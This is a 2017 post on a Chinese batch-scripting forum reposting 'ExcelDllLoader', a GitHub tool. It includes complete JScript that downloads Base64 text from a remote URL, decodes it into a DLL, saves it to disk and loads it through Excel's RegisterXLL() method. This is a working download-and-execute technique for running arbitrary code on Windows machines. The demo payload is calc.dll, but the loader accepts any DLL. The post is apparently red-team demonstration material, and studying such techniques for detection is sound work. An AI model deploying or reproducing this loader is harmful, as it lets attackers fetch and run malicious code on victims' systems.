找回密码
 注册
搜索
[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
查看: 14068|回复: 0

[转载代码] ExcelDllLoader

[复制链接]
发表于 2017-7-25 03:44:56 | 显示全部楼层 |阅读模式
https://github.com/3gstudent/ExcelDllLoader

Execute DLL via the Excel.Application object's RegisterXLL() method

ExcelDllLoader.js:

Check if Microsoft Office has been installed
Download the dll from Github
Save the dll to %appdata%\Microsoft\Windows\Recent
Load it via the Excel.Application object's RegisterXLL() method
ExcelDllLoader(Base64decode).js:

Download the Base64 encoded text from Github
Base64 decoded and get the calc.dll
Save the dll to c:\test\calc.dll
Load it via the Excel.Application object's RegisterXLL() method



ExcelDllLoader(Base64decode).js:
  1. x="c:\\test\\calc.dll";
  2. h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  3. h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);
  4. h.Send();
  5. enc=new ActiveXObject("System.Text.ASCIIEncoding");
  6. length=enc.GetByteCount_2(h.ResponseText);
  7. ba=enc.GetBytes_4(h.ResponseText);
  8. transform=new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
  9. ba=transform.TransformFinalBlock(ba,0,length);
  10. s=new ActiveXObject("ADODB.Stream");
  11. s.Type=1;
  12. s.Open();
  13. s.Write(ba);       
  14. s.SaveToFile(x,2);
  15. new ActiveXObject("Excel.Application").RegisterXLL(x);
复制代码

评分

参与人数 1技术 +1 收起 理由
a2002 + 1 感谢分享

查看全部评分

您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|批处理之家 ( 渝ICP备10000708号 )

GMT+8, 2026-3-17 01:33 , Processed in 0.017236 second(s), 9 queries , File On.

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表